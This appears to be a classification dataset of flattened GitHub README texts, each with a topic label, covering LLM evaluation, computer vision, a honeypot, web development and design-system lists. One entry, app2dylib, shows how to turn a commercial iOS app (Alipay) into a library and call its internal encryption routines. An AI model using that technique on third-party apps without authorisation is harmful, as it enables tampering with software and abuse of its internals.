responses generated by two different llms the user is asked to select the better response among the two a b tests docs images abtests png docker compose setup 1 clone the repository bash git clone https github com h2oai h2o llm eval git cd h2o llm eval 2 run docker compose bash docker compose up d navigate to http localhost 10101 in your browser local setup 1 clone the repository bash git clone https github com h2oai h2o llm eval git 2 setup database a create a docker volume for the database bash docker volume create llm eval db data b start postgresql 14 in docker bash docker run d name llm eval db p 5432 5432 v llm eval db data var lib postgresql data e postgres password pgpassword postgres 14 c install postgresql client on ubuntu bash sudo apt update sudo apt install postgresql client on macos bash brew install libpq echo export path usr local opt libpq bin path zshrc d load the latest data dump into the database bash pgpassword pgpassword psql host localhost port 5432 username postgres data 10 init sql 3 setup the environment the setup is tested on python 3 10 bash python m venv venv bash venv bin activate bash pip install upgrade pip pip install r requirements txt 4 run the app bash postgres host localhost postgres user maker postgres password makerpassword postgres db llm eval db h2o wave no log true wave run llm eval app py navigate to http localhost 10101 in your browser reproducing leaderboard results we provide notebooks notebooks to generate leaderboard results and reproduce evalgpt ai https evalgpt ai 1 run run all evaluations ipynb notebooks run all evaluations ipynb to evaluate any a b tests that have not yet been evaluated by a chosen evaluation model and insert the outcomes into the database an a b test is considered unevaluated by the given model if no evaluation by the model exists for the given combination of models and prompt after adding a model running this evaluates all a b tests for the model against all other models 2 run all cells in calculate elo rating public leaderboard ipynb notebooks calculate elo rating public leaderboard ipynb to get the elo leaderboard and relevant charts given the evaluations in the database roadmap models 1 add freewilly2 https stability ai blog freewilly large instruction fine tuned models to the leaderboard application 1 v2 architecture 2 option for users to submit new models eval 1 more prompts in each category 2 document q a and retrieval category with ground truth 3 document summarization category | ai |
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Shapes-From-Shading | s1 http i imgur com m9rl9xp png original sphere s2a http i imgur com zn1wq54 png spheres under light s2b http i imgur com jfqf2j0 png objects under light s3 http i imgur com jfqf2j0 png needle map s4 http i imgur com wfeansr png albedo map shapes from shading shape from shading is an application of photometric stereo which is a technique in computer vision for estimating the surface normals of objects by observing that object under different lighting conditions it is based on the fact that the amount of light reflected by a surface is dependent on the orientation of the surface in relation to the light source and the observer by measuring the amount of light reflected into a camera the space of possible surface orientations is limited given enough light sources from different angles the surface orientation may be constrained to a single orientation or even over constrained a key assumption used here is that the surfaces of the objects are purely lambertian s1 this program will locate the sphere in question while also computing its center and radius the sphere image used is sphere0 pgm s1 s2 this program will compute the direction of the light source hitting the sphere this will be computed for sphere sphere1 sphere2 and sphere3 the goal is to use these normals for the actual object pgm images which are placed in the same location and under the same lighting conditions s2a s2b s3 now that we have the normals for the directions of the light source we can compute the normals for all points on the object however we will only compute the normal for the points which are visible on all three of the object pgm images the result of this program can actually output a visual representation of the object in 3d using something called a needle map as shown below s3 s4 in addition to the needle map we can also compute something called the albedo map the albedo actually gives us information about the surface of the object at that point here s the albedo map of the object s4 program execution s1 input original image input threshold output parameters file threshold 90 s2 input parameters file image 1 image 2 image 3 output directions file formulas in s2 sphere x 2 y 2 z 2 r 2 z sqrt r 2 x 2 y 2 p dz dx x sqrt r 2 x 2 y 2 q dz dy y sqrt r 2 x 2 y 2 n p q 1 sqrt p 2 q 2 1 s3 input directions image 1 image 2 image 3 step threshold output step 10 threshold 100 s4 input directions image 1 image 2 image 3 threshold output threshold 85 | ai |
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app2dylib | app2dylib a reverse engineering tool to convert ios app to dylib usage git clone recursive https github com tobefuturer app2dylib git cd app2dylib make app2dylib example app2dylib tmp alipaywallet o tmp libalipayapp dylib you can use libalipayapp dylib as a normal dynamic library call oc method or call c function like this import uikit uikit h import dlfcn h import mach mach h import mach o loader h import mach o dyld h int main int argc char argv nsstring dylibname libalipayapp nsstring path nsbundle mainbundle pathforresource dylibname oftype dylib if dlopen path utf8string rtld now null nslog dlopen failed error s dlerror return 0 uint32 t dylib count dyld image count uint64 t slide 0 for int i 0 i dylib count i const char name dyld get image name i if nsstring stringwithutf8string name isequaltostring path slide dyld get image vmaddr slide i assert slide 0 class c nsclassfromstring alusecurity nsstring plain alipay nsstring pubkey migfma0gcsqgsib3dqebaquaa4gnadcbiqkbgqdz6i9vnegeazaye7xffa9xrj15cp zkhhyy43eeva8lihcwi29ereaf4jjzvmwfpuafrl 9gpa7nmqmamrhbrz1khe2ho4hpuheac8m9zubnvadkslhx0lq 15tqp 57oqbfj9okkd he4yd6jpbi3utgmwjyn t1s0dq0axr8oqidaqab nsstring cipher c performselector nsselectorfromstring rsaencrypttext pubkey withobject plain withobject pubkey nslog ciphertext cipher typedef int base64 encode func type char output int output size char input int input length get function pointer base64 encode func type base64 encode base64 encode func type slide 0xa798e4 char output 1000 0 int length 1000 char input alipay base64 encode output length input int strlen input nslog base64 length d s length output | os |
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riotpot | loudspeaker attention this repository has been moved to the honeynet project https github com honeynet riotpot riotpot markdownlint disable md033 div align center style box shadow 0px 4px 4px rgba 0 0 0 0 25 background color edf2f4 border radius 4px margin 2em 0 img src docs assets aau logo png height 100px style margin 1em 0 padding 1em div workflow status a href https github com aau network security riotpot actions img alt github actions status src https github com aau network security riotpot workflows cyber badge svg a a href https pkg go dev riopot img src https pkg go dev badge riopot svg a a href https goreportcard com badge github com aau network security riotpot img src https goreportcard com badge github com aau network security riotpot style flat square a a href img src https img shields io github release riotpot project layout svg style flat square a div div riotpot is a hybrid interaction honeypot primarily focused on the emulation iot and ot protocols although it is also capable of emulating other services in essence riotpot acts as a proxy service for other honeypots included in the system therefore you can run any honeypot and other services alongside riotpot in addition there is an ui web application that you can use to manage your routing the honeypot comes with multiple low interaction services ready to use since these services are written as plugins https pkg go dev plugin they are only supported on linux however you can start riotpot without them the following table contains the list of services included in riotpot by defaul their internal port and proxy port div align center service internal port proxy port echo 20007 7 ssh 20022 22 telnet 20023 23 http 28080 80 modbus 20502 502 mqtt 21883 1883 coap 25683 5683 div table of contents riotpot riotpot 1 architecture 1 architecture 2 how to use riotpot 2 how to use riotpot 3 commands 3 commands 1 architecture the riotpot architecture is based on proxy connections to internal and surrounding or external services e g honeypots full services containers remote hosts etc for this the honeypot manages a number of user defined proxies that relays connections between services and riotpot proxies this way riotpot can decide how and where to route incomming attacks the logic used to determine how to handle the incomming attack is implemented in the form of middlewares middlewares to manage services middlewares and proxies riotpot ships with a rest api api and a webapp ui ui out of the box the ui can be accessed through your browser at localhost 2022 and you can fiddle with api endpoints at localhost 2022 api swagger showing a swagger https swagger io interface proxies internal and surrounding services are not accessible through the internet internal services are integrated and only accessible to riotpot these services are loaded on start and can not be deleted but they can be stopped surrounding services must be in the same network as riotpot external services must whitelist riotpot only middlewares middlewares are currently under development api the riotpot api must not be exposed to the internet regardless the api currently only accepts connections from the localhost this may be changed in the future providing a whitelist of hosts and standard authentication ui although the web interface can be used as a separate component it is embeded with the riotpot binary figure 1 shows the riotpot architecture including the two main applications that constitute riotpot riotpot itself and riotpot ui and their components and a section to enclose external or adjacent services div align center style margin 2em 0 div style max width 60 text align justify display flex flex direction column img src docs assets architecture png div b figure 1 b riotpot architecture including the main application external services and the webapp ui to manage riotpot instances div div div riotpot is written in golang https go dev os each riotpot instance exposes registered proxies based on their port on demand to serve a proxy it must have a binded service and the proxy port must be available currently riotpot does not accept multiple services running in the same port when a proxy has been binded and served attackers will be able to send messages to riotpot on that port relying the messages to the binded service and back to the attacker reversed os while the base application is interoperable internal services plugins can only be used in linux freebsd and macos environments https pkg go dev plugin we plan to overcome this limitation by replacing plugins with micro services communicating through grpc https grpc io reversed for ethical and security reasons riotpot does not allow unsolicited requests to the outside i e reversed shells and the like are not allowed for ease of access multiple instances of riotpot can be managed from the riotpot ui webapp in addition to managing the proxies registered in each instance the ui allows you to create use and edit profiles each profile contains a number of proxies named after protocols or other services making a riotpot instance resemble a real life devices e g a home assistant in few words profiles speed up the process of setting up and provision a riotpot instance with specific configurations the ui is written using the react fonrt end javascript library we use typescript for this project and recoil https recoiljs org state management library since riotpot is rather small for the moment it does not use a database 2 how to use riotpot running riotpot is relatively simple overall you have three options the first is to download a riotpot release you can either choose to download the latest release or previous one the second option is to build the project yourself the last option is to use the source code to create a docker container with riotpot and some additional applications to enhance the honeypot details open summary b using a release version b summary info this guide is meant for users with no special needs who want a simple out of the box experience each release comes in a folder named riotpot with an executable binary also named riotpot and a plugins folder filled with multiple services or low interaction honeypots it is important to keep the internal folder structure for riotpot to work as intended riotpot riotpot plugins 1 first download the release of your choice from the releases https github com aau network security riotpot releases page choose the one you need for your operative system os 2 extact the riotpot folder 3 run the riotpot binary this will start riotpot with the api enabled all the plugins ready to use and the ui server the api and ui are accessible through the address localhost 2022 details details summary b build it yourself b summary info this guide is meant for advanced users confortable in development environments blockquote details summary b requirements b summary golang required to build the project node required to build the ui optional git used to download the source code make to run already prepared commands details blockquote 1 download the riotpot source code from github open a console and introduce the following line bash git clone git github com aau network security riotpot git 2 navigate to the folder in where you have downloaded the riotpot source and install the required node packages bash npm install 3 if you have installed make https www gnu org software make we have included multiple command helpers to assist you building the project to put it simple you can run two simple commands that will build the riotpot binary and the plugins and place them in the right folder bash build the server make build ui builds riotpot and the plugins make riotpot build note the ui uses vite https vitejs dev to build the project if you prefer to use another builder you may need to make a few changes first on your own details details summary b docker virtualisation b summary info this guide is meant for advanced users who prefer to use riotpot in a virtual environment blockquote details summary b requirements b summary docker used to build an image of a riotpot instance and ui server docker compose used to create a single container with a riotpot instance the ui and other applications and services details blockquote the main advantages of using this setup are the additional security features with minimal changes to the container configuration and the containers themselves for example we can define separated virtual private networks and overlay networks to hide sandbox and encapsule riotpot and other adjacent services in addition containers allow us to bind services using their docker addres name rather than their ip which is very convenient lastly we can spawn and stop separated containers on demand without affecting other services on the other hand virtualisation is arguably more demanding than usign applications on bare metal while a single instance of riotpot is relatively lightweight it is important to consider the shortcomings introduced by virtualisation and hardware emulation e g reponse delays warning technically speaking a dedicated attacker may realize that riotpot is in fact a honeypot by analysing and comparing the response time delays introduced by virtualisation to real servers while this type of honeypot fingerprinting has been studied before the results for common internet services are still inconclussive e g http telnet and ssh due to the commoditization of cloud hosting services using virtual machines and detailed server configurations the docker compose file includes additional services to enhance the riotpot experience the following table summarises the list of services and applications packed in this container blockquote details summary b services b summary div align center service image port details mqtt eclipse mosquitto 1883 mosquito mqtt server http httpd 80 regular http server modbus oitc modbus server 502 modbus server ocpp ocpp1 6 central system 443 ocpp v1 6 used in cars charging stations div details details summary b applications b summary div align center application image details tcpdump kaazing tcpdump packet recorder it stores network traffic in pcap files div details blockquote the container can be setup in three simple steps 1 download the riotpot source code from github open a console and introduce the following line bash git clone git github com aau network security riotpot git 2 navigate to the folder in where you have downloaded the riotpot source 3 with docker running if you have make installed run the following command otherwise run a docker compose command using the docker compose file included in the build docker folder with make bash with make make up with docker compose bash with docker compose docker compose p riotpot f build docker docker compose yaml up d build details 3 commands riotpot comes with flag commands that affect how and what is started example bash run riotpot without the ui riotpot ui false flag type default description debug boolean false set log level to debug api boolean true whether to start the api plugins boolean true whether to load the low interaction honeypot plugins whitelist string http localhost http localhost 3000 list of comma separated allowed hosts to contact the api ui boolean true whether to start the ui | server |
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Hands-on-MERN-Stack-Web-Development | hands on mern stack web development video this is the code repository for hands on mern stack web development video https www packtpub com web development hands mern stack web development video utm source github utm medium repository utm campaign 9781789346305 published by packt https www packtpub com utm source github it contains all the supporting project files necessary to work through the video course from start to finish about the video course there s a growing demand for full stack developers but becoming one is not an easy task a full stack engineer is expected to have frontend and backend skills as well as extensive knowledge of build tools and deployment workflow building real world projects and understanding the mern stack is a great way to become a full stack engineer so the journey starts by taking you through the mern stack to explore node js and express and set up the groundwork for the project it s vital to store data safely hence we dive into the world of mongodb and integrate it with our backend now we build a client application that can consume api services with react you ll be able to solve the two most daunting frontend problems and use json web tokens jwts to integrate authentication and session management on both the client and the server finally we review the skills that you ve acquired throughout the course look into the mern boilerplate and examine the application s architecture to build applications on it by the end of the course you will not only have built a fully functional web application but you ll also be well on your way to becoming a full stack web developer you ll be equipped with a deeper knowledge of the mern stack as well as general web development patterns and concepts h2 what you will learn h2 div class book info will learn text ul li develop a project from scratch using the mern stack li best practices for developing restful apis with node js and express li a painless approach to writing integration tests for your backend li the skills needed to configure query and interact with a mongo database li work with react on the client and write declarative ui code li manage client state and asynchronous code with redux li effectively debug client side code with react developer tools li pros and cons of scaffolding tools and how to get the most out of them li deploy your application with docker li ul div instructions and navigation assumed knowledge to fully benefit from the coverage included in this course you will need br through a series of videos we explore mern by dividing it into each of its components and then carefully tying it all together there s a lot to learn so there is no need to worry about the overhead of every concept before it s needed we will unravel the complexity behind mern stack layer by layer and at an easy to follow pace we will incrementally build the app by starting with small self contained restful services and then expanding them to build a full backend with mongodb as the database layer after that we will work on understanding react and build uis before tying everything together into a fully functional web application by the time you ve finished this course you ll be more than ready to start your own mern stack projects or jump into an existing one and contribute to it technical requirements this course has the following software requirements br setup and installation minimum hardware requirements for successful completion of this course students will require the computer systems with at least the following os any modern version of macos windows or linux processor intel celeron memory 2gb ram storage around 200mb of free space for project files recommended hardware requirements for an optimal experience with hands on labs and other practical activities we recommend the following configuration os macos or a popular linux distribution like ubuntu processor 2 7 ghz intel core i5 memory 8gb ram storage around 500mb of free space for project files software requirements operating system any modern version of macos windows or linux browser any modern browser such as chrome firefox safari opera etc a code editor or ide such as atom visual studio code or webstorm node js version 6 0 0 and a package manager such as npm or yarn mongodb installed useful links node https nodejs org en download package manage npm https www npmjs com yarn https yarnpkg com lang en docs install mongodb https www mongodb com download center jmp nav related products hands on application development with spring boot 2 0 video https www packtpub com application development hands application development spring boot 20 video utm source github utm medium repository utm campaign 9781789137712 hands on web application development with jquery video https www packtpub com web development hands web application development jquery video utm source github utm medium repository utm campaign 9781789343809 mern stack front to back full stack react redux and node js video https www packtpub com networking and servers mern stack front back full stack react redux and nodejs video utm source github utm medium repository utm campaign 9781789343120 | front_end |
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ml4a.github.io | ml4a github io machine learning for artists http ml4a github io notes demos interactive visuals art projects references further readings etc more documentation to be added soon | ai |
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iota-address-generator | iota address generator this is a simple website which lets you generate a new address with a variety of options this is mainly for educational purposes and should not be used for anything sensitive open up index html the rest is self explanatory if you want to see what s happening open up the developer console for extra logging using bootstrap 4 | server |
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low-level-design-problem | low level design problems problems games problem statement solutions 1 tic tac toe problems 01 tic tac toe md ul li java solutions java li x typescript solutions typescript 01 tic tac toe 2 wordle problems 02 wordle md ul li x java solutions java 02 wordle li typescript solutions typescript 3 snake and ladder problems 03 snake and ladders md ul li x java solutions java 03 snakeladder li typescript solutions typescript | case-study java lld lld-problems low-level-design object-oriented-programming system-design typescript | os |
Web-Dev-Learning-Resources | img src https cdn pixabay com photo 2017 02 05 00 19 web design 2038872 960 720 jpg height 350 width 750 h1 my list of resources for learning web development h1 h3 table of contents h3 ol li a href bootcamp bootcamp style a li li a href books books a li li a href youtube youtube channels a li li a href html html css a li li a href javascript javascript a li li a href frameworks javascript frameworks a li li a href ruby ruby rails a li li a href cssstuff css stuff a li li a href node node js a li li a href api api a li li a href design design a li li a href reddit reddit posts a li li a href podcasts podcasts a li li a href assorted assorted tools sites a li li a href jobs jobs a li ol h1 resources h1 h3 free unless otherwise noted h3 h3 in no particular order h3 br img id bootcamp src https cdn1 iconfinder com data icons customicondesign office shadow 128 courses png alt bootcamp logo h4 bootcamp style h4 ul li a href https teamtreehouse com home team treehouse a paid li li a href https www udemy com the web developer bootcamp learn v4 overview the web developer bootcamp a paid li li a href http upskillcourses com p essential web developer course upskill the essential web developer course a li li a href https beta freecodecamp com freecodecamp beta more up to date a li li a href http www theodinproject com courses the odin project a li li a href https www vikingcodeschool com prep the viking school prep work a li li a href https www codeschool com code school a paid li li a href https www udacity com udacity a paid and free options li li a href https developers google com training web google developer training a li li a href https blog petrovic gr 2016 12 frontend development a learning guide web development learning guide a frontend approach a li li a href https www pluralsight com pluralsight a li paid li a href https beta hacksaw academy hacksaw academy a paid li li a href https www codecademy com code academy a li li a href https www eventedmind com evented mind a li li a href https frontendmasters com books front end handbook 2017 frontend handbook 2017 a li ul br img id books src https cdn3 iconfinder com data icons tango icon library 48 x office address book 128 png alt book logo h4 books h4 ul li a href https github com getify you dont know js you don t know javascript a li li a href http exploringjs com exploring js a li li a href https www railstutorial org book rails tutorial a li li a href https leanpub com the road to learn react the road to learn react a li li a href https git scm com book en v2 pro git a li li a href https www amazon com javascript jquery interactive front end development dp 1118531647 ref la b001ir3q7i 1 3 s books ie utf8 qid 1488388826 sr 1 3 javascript and jquery interactive front end web development a paid li li a href https github com vhf free programming books blob master free programming books md free programming books a li ul br img id youtube src https cdn0 iconfinder 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development a li li a href https github com creativetimofficial light bootstrap dashboard angular angular2 bootstrap dashboard a li li a href https medium com coderbyte the 10 most popular coding challenge websites of 2016 fb8a5672d22f 4iv91pwsm the 10 most popular coding challenge websites of 2016 a li li a href https medium freecodecamp com every time you build a to do list app a puppy dies 505b54637a5d v8avrh2cb every time you build a to do list app a puppy dies a li li a href https hackernoon com learn to code in 2017 get hired and have fun along the way 5ff4c1b1a790 62rjkjml2 learn to code in 2017 get hired and have fun along the way a li ul br img id jobs src https cdn2 iconfinder com data icons mixed rounded flat icon 512 briefcase 128 png alt job logo h4 jobs berlin centric because i live there but lots of sites are worldwide too h4 ul li a href https www honeypot io honey pot a li li a href https www hired com hired a li li a href https whoishiring io whoishiring io a li li a href https firstdevjob com first dev job a li li a href https www xing com xing a li li a href https www linkedin com linkedin a li li a href https de indeed com indeed a li li a href http stackoverflow com jobs stack overflow jobs a li li a href https 4scotty com en 4 scotty a li li a href https angel co angellist a li li a href http workinstartups com work in startups a li li a href https www launchcode org launch code a li li a href http www jobsinberlin eu jobs in berlin a li li a href http www jobisjob de job is job a li li a href https entwickler de jobs entwickler de a li li a href https www thelocal de jobs the local a li li a href http berlinstartupjobs com berlin startup jobs a li li a href https jobbatical com jobbatical a li li a href http join startups com join startups a li li a href http www woloho com home woloho a li li a href http www gruenderszene de jobboerse suche gruenderszene a li li a href https startupsucht com startup sucht a li li a href http www work in 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BarangEye | barangeye application development and emerging technologies website amp mobile project br br code z members br sofhia isabel bestil br roline jason digal br john lawrence torres br catherine justine zu iga br | front_end |
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Xtreme-Vision | xtreme vision build status https camo githubusercontent com 6446a7907a4d4f8de024ec85750feb07d7914658 68747470733a2f2f696d672e736869656c64732e696f2f62616467652f70617472656f6e2d646f6e6174652d79656c6c6f772e737667 https patreon com adeelintizar license mit https img shields io badge license mit yellow svg license txt assets intro gif go to pypi page here https pypi org project xtreme vision this is the official repository of xtreme vision xtreme vision is a high level python library which is built with simplicity in mind for computer vision tasks such as object detection human pose estimation segmentation tasks it provides the support of a list of state of the art algorithms you can start detecting with pretrained weights as well as you can train the models on custom dataset and with xtreme vision you have the power to detect segment only the objects of your interest currently it provides the solution for the following tasks object detection pose estimation object segmentation human part segmentation for detection with pre trained models it provides retinanet centernet yolov4 tinyyolov4 mask rcnn deeplabv3 ade20k cdcl cross domain complementary learning for custom training it provides yolov4 tinyyolov4 retinanet with resnet50 resnet101 resnet152 assets pose gif if you like this project sponser it here build status https camo githubusercontent com 6446a7907a4d4f8de024ec85750feb07d7914658 68747470733a2f2f696d672e736869656c64732e696f2f62616467652f70617472656f6e2d646f6e6174652d79656c6c6f772e737667 https patreon com adeelintizar dependencies tensorflow 2 3 0 keras opencv python numpy pillow matplotlib pandas scikit learn scikit image imgaug labelme2coco progressbar2 scipy h5py configobj get started python pip install xtreme vision for more tutorials of xtreme vision click here https github com adeel intizar xtreme vision tree master tutorials yolov4 example image object detection using yolov4 python from xtreme vision detection import object detection model object detection model use yolov4 model detect from image input path kite jpg output path output jpg from pil import image image open output jpg | artificial-intelligence machine-learning computer-vision deep-learning object-detection segmentation image-processing instance-segmentation semantic-segmentation artificial-neural-networks yolov4 retinanet centernet keras keras-tensorflow tensorflow resnet tf-keras python xtreme-vision | ai |
Hands-On-Algorithms-for-Computer-Vision | hands on algorithms for computer vision a href https www packtpub com application development hands algorithms computer vision utm source github utm medium repository utm campaign 9781789130942 img src https d1ldz4te4covpm cloudfront net sites default files imagecache ppv4 main book cover b10760 png alt hands on algorithms for computer vision height 256px align right a this is the code repository for hands on algorithms for computer vision https www packtpub com application development hands algorithms computer vision utm source github utm medium repository utm campaign 9781789130942 published by packt learn how to use the best and most practical computer vision algorithms using opencv what is this book about an arena that has been positively impacted by the advancements in processing power and performance is the field of computer vision it s only natural that over time more and more algorithms are introduced to perform computer vision tasks more efficiently hands on algorithms for computer vision is a starting point for anyone who is interested in the field of computer vision and wants to explore the most practical algorithms used by professional computer vision developers the book starts with the basics and builds up over the course of the chapters with hands on examples for each algorithm this book covers the following exciting features get to grips with machine learning and artificial intelligence algorithms read write and process images and videos perform mathematical matrix and other types of image data operations create and use histograms from back projection images detect motion extract foregrounds and track objects extract key points with a collection of feature detector algorithms develop cascade classifiers and use them and train and test classifiers employ tensorflow object detection to detect multiple objects if you feel this book is for you get your copy https www amazon com dp 1789130948 today a href https www packtpub com utm source github utm medium banner utm campaign githubbanner img src https raw githubusercontent com packtpublishing github master github png alt https www packtpub com border 5 a instructions and navigations all of the code is organized into folders for example chapter02 chapter01 does not contain any code files the code will look like the following histcompmethods method histcmp correl double result comparehist histogram1 histogram2 method following is what you need for this book hands on algorithms for computer vision helps those who want to learn algorithms in computer vision to create and customize their applications this book will also help existing computer vision developers customize their applications a basic understanding of computer vision and programming experience is needed with the following software and hardware list you can run all code files present in the book chapter 1 8 software and hardware list chapter software required os required 2 8 microsoft visual studio 2017 or 2015 windows mac os x and linux any 2 8 xcode mac os x 2 8 visual studio code 1 25 windows mac os x and linux any 2 8 cmake 3 11 4 windows mac os x and linux any 2 8 opencv 3 4 2 windows mac os x and linux any 2 8 python 3 6 5 windows mac os x and linux any we also provide a pdf file that has color images of the screenshots diagrams used in this book click here to download it https www packtpub com sites default files downloads handsonalgorithmsforcomputervision colorimages pdf related products practical computer vision packt https www packtpub com big data and business intelligence practical computer vision utm source github utm medium repository utm campaign 9781788297684 amazon https www amazon com dp b079qxg3wr computer vision with opencv 3 and qt5 packt https www packtpub com application development computer vision opencv 3 and qt5 utm source github utm medium repository utm campaign 9781788472395 amazon https www amazon com dp 178847239x get to know the author amin ahmadi tazehkandi is an iranian author developer and a computer vision expert he completed his computer software engineering studies in iran and has worked for numerous software and industrial companies around the world other books by the authors computer vision with opencv 3 and qt5 https www packtpub com application development computer vision opencv 3 and qt5 utm source github utm medium repository utm campaign 9781788472395 suggestions and feedback click here https docs google com forms d e 1faipqlsdy7datc6qmel81fiuuymz0wy9vh1jhkvpy57oimekgqib ow viewform if you have any feedback or suggestions | ai |
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Skeleton | skeleton http getskeleton com skeleton is a simple responsive boilerplate to kickstart any responsive project check out http getskeleton com for documentation and details getting started there are a couple ways to download skeleton download the zip https github com dhg skeleton releases download 2 0 4 skeleton 2 0 4 zip clone the repo git clone https github com dhg skeleton git note this is under active development so if you re looking for stable and safe use the zipped download what s in the download the download includes skeleton s css normalize css as a reset a sample favicon and an index html as a starting point skeleton index html css normalize min css skeleton css images favicon ico why it s awesome skeleton is lightweight and simple it styles only raw html elements with a few exceptions and provides a responsive grid nothing more around 400 lines of css unminified and with comments it s a starting point not a ui framework no compiling or installing just vanilla css browser support chrome latest firefox latest opera latest safari latest ie latest the above list is non exhaustive skeleton works perfectly with almost all older versions of the browsers above though ie certainly has large degradation prior to ie9 license all parts of skeleton are free to use and abuse under the open source mit license https github com dhg skeleton blob master license md extensions the following are extensions to skeleton built by the community they are not officially supported but all have been tested and are compatible with v2 0 exact release noted skeleton on less https github com whatsnewsaes skeleton less skeleton built with less for easier replacement of grid color and media queries last update was to match v2 0 1 skeleton on sass https github com whatsnewsaes skeleton sass skeleton built with sass for easier replacement of grid color and media queries last update was to match v2 0 1 have an extension you want to see here just shoot an email to hi getskeleton com with your extension colophon skeleton was built using sublime text 3 http www sublimetext com 3 and designed with sketch http bohemiancoding com sketch the typeface raleway http www google com fonts specimen raleway was created by matt mcinerney http matt cc and pablo impallari http www impallari com code highlighting by google s prettify library https code google com p google code prettify icons in the header of the documentation are all derivative work of icons from the noun project http thenounproject com feather http thenounproject com term feather 22073 by zach vandehey pen http thenounproject com term pen 21163 with cap by ed harrison pen http thenounproject com term pen 32847 with clicker by matthew hall and watch http thenounproject com term watch 48015 by julien deveaux acknowledgement skeleton was created by dave gamache https twitter com dhg for a better web | front_end |
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unimelb-design-system | unimelb design system this repo is no longer maintained and was archived in february 2020 we re keeping it here for reference only copyright copy 2017 the university of melbourne the contents of this repository have been produced by the university of melbourne for internal use and must not be distributed without the express permission of the university of melbourne | os |
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plumob | plumob simple toolchain to facilitate mobile and later other development with haxe features x ios x project setup x xcodeproj file x objective c glue code x iphoneos and iphonesimulator builds x building x hxcpp for haxe to c compilation x xcodebuild for c and objective c compilation linking x lipo to create fat universal binary x ldid to self sign no need for an apple developer profile x deploying to simulator x simctl to install and launch app on running ios simulator x deploying to phone requires jailbreak and some setup x ssh scp to phone to replace copy app x ssh sbutils to launch app on phone other platforms os x android asset management auto sync triggers to allow e g image resizing and processing custom triggers to allow custom actions for libraries setup for ios to build apps for the ios with plumob you will need hxcpp https github com haxefoundation hxcpp 3 4 193 or latest git version os x with xcode 8 2 and sdks for ios and or ios simulator ldid http iphonedevwiki net index php ldid for self signing apps if needed after installing make sure to set the ldid path environmental variable plumob was only tested on a vagrant box packaged with os x sierra xcode 8 2 and ios sdks 10 2 to replicate this set up you can download the box vagrant box osx https github com andrewdryga vagrant box osx once the dependencies are installed clone this repository with haxelib and then build the run script haxelib git plumob https github com aurel300 plumob cd plumob install path run src haxe make hxml you can find out your plumob install path with haxelib path plumob after the first step with this builds should work the objective c glue code will ensure your project s main main method is called when the app is launched however the window creation as well as view view controller initialisation is not done your project should do this it is recommended to use hx objc externs https github com aurel300 hx objc externs see example for an example ios app usage haxelib run plumob help displays this help haxelib run plumob create project creates a new project haxelib run plumob info project checks and prints info about a project haxelib run plumob build target project builds the given project target haxelib run plumob deploy target project deploys the given project target haxelib run plumob test target project tests the given project target project is a path to an existing directory which should contain the file plumob json if it contains a project if this path is not specified it defaults to the current working path target is the name of a target configuration if none is specified the project default is used plumob json builds are configured with the plumob json file a default one is created with haxelib run plumob create project object the file should contain json object with the following key value pairs key required type description name yes string name of the project slug no string name used for built executables should not contain spaces based on name by default package yes string company developer package version no string semver of the project default target no string target to build when none is specified defaults to first target in the targets list build dir no string directory to place target builds defaults to build env no json object key value environmental variables targets yes array of objects target specifications at least one is required env environmental variables recognised key description hxcpp path path to the hxcpp root directory defaults to the path obtained with haxelib path hxcpp ldid path path to the ldid binary which will be used to self sign apps xcode developer dir path to xcode s developer directory defaults to applications xcode app contents developer xcode sdk ios path to the sdk to use when building for the ios defaults to xcode developer dir platforms iphoneos platform developer sdks iphoneos10 2 sdk xcode sdk ios sim path to the sdk to use when building for the ios simulator defaults to xcode developer dir platforms iphonesimulator platform developer sdks iphonesimulator10 2 sdk target specifications target specifications are also json objects with the following syntax key required type description name yes string identifier of this target arch yes array of strings platforms to use for build see platform list haxelibs no array of strings haxelib names to use for build build flags haxe no array of strings flags to pass to haxe when building deploy no array of strings commands to run when deploying target test no array of strings commands to run when testing target command syntax strings in the deploy and test arrays are interpreted as haxe templates the following variables are defined in the context key value name slug package env same as in project object product path relative path to the built product e g app for ios product filename filename of the built product platform list the following platforms are currently supported name description applicable keys in env ios sim ios simulator xcode developer dir xcode ios sdk sim ldid path ios armv7 ios arm64 armv7 and arm64 ios device xcode developer dir xcode ios sdk ldid path | front_end |
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awesome-design-systems | cover cover png contributions welcome https img shields io badge contributions welcome blue svg know a resource that isn t listed below feel free to create a new pull request https github com alexpate awesome design systems pulls a design system is a collection of documentation on principles and best practices that helps guide a team to build digital products they are often embodied in ui libraries and pattern libraries but can extend to include guides on other areas such as voice and tone tags components contains coded patterns and examples voice tone provides guidance on how language should be used designers kit includes a sketch photoshop figma etc file for designers source code publically viewable source code components voice tone designers kit source code adobe spectrum https spectrum adobe com octocat https github com adobe react spectrum alaska airlines https auro alaskaair com octocat https github com alaskaairlines alibaba ant design https ant design octocat https github com ant design ant design amplify ui https ui docs amplify aws octocat https github com aws amplify amplify ui appear here styleguide https bloom appearhere co uk octocat https github com appearhere bloom apple developer design guidelines https developer apple com design aragon ui https ui aragon org octocat https github com aragon ui artsy palette https palette artsy net octocat https github com artsy palette astro uxds https astrouxds com octocat https github com rocketcommunicationsinc astro components at uikit https at ui github io at ui en octocat https github com at ui at ui atlassian design system https atlassian design space invader https bitbucket org atlassian atlassian frontend mirror audi ui kit https www audi com ci en guides user interface introduction html octocat https github com audi audi ui aurora government of canada https design gccollab ca octocat https github com gctools outilsgc design system autoguru overdrive http overdrive autoguru io octocat https github com autoguru au overdrive aws cloudscape design system https cloudscape design octocat https github com cloudscape design components backpack skyscanner https skyscanner design octocat https github com skyscanner backpack barnardo s design system https design system barnardos org uk octocat https github com barnardos design system basis design system https basis now sh octocat https github com moroshko basis bbc gel global experience language https www bbc co uk gel bento ds https bento ds com octocat https github com buildo bento design system blip https design take net octocat https github com takenet blip toolkit blueprint https blueprintjs com octocat https github com palantir blueprint bold bridge design system https bold bridge ufsc br octocat https github com laboratoriobridge bold bolt design system https boltdesignsystem com octocat https github com boltdesignsystem bolt braid design system https seek oss github io braid design system octocat https github com seek oss braid design system brighte spark design system https spark brighte com au octocat https github com brighte labs spark web british gas nucleus https britishgas design buildit gravity http style buildit digital octocat https github com buildit gravity ui web bulb design system https design bulb co uk bumbag ui https bumbag style octocat https github com bumbag bumbag ui buzzfeed solid https solid buzzfeed com octocat https github com buzzfeed solid buzzvil design system https design buzzvil com ca technologies mineral ui https mineral ui netlify app octocat https github com mineral ui mineral ui cards binary design https github com opensource cards binary ui octocat https github com opensource cards binary ui cbre blocks https blocks cbrebuild com cedar https rei github io rei cedar docs octocat https github com rei rei cedar censhare zen https design censhare com chakra 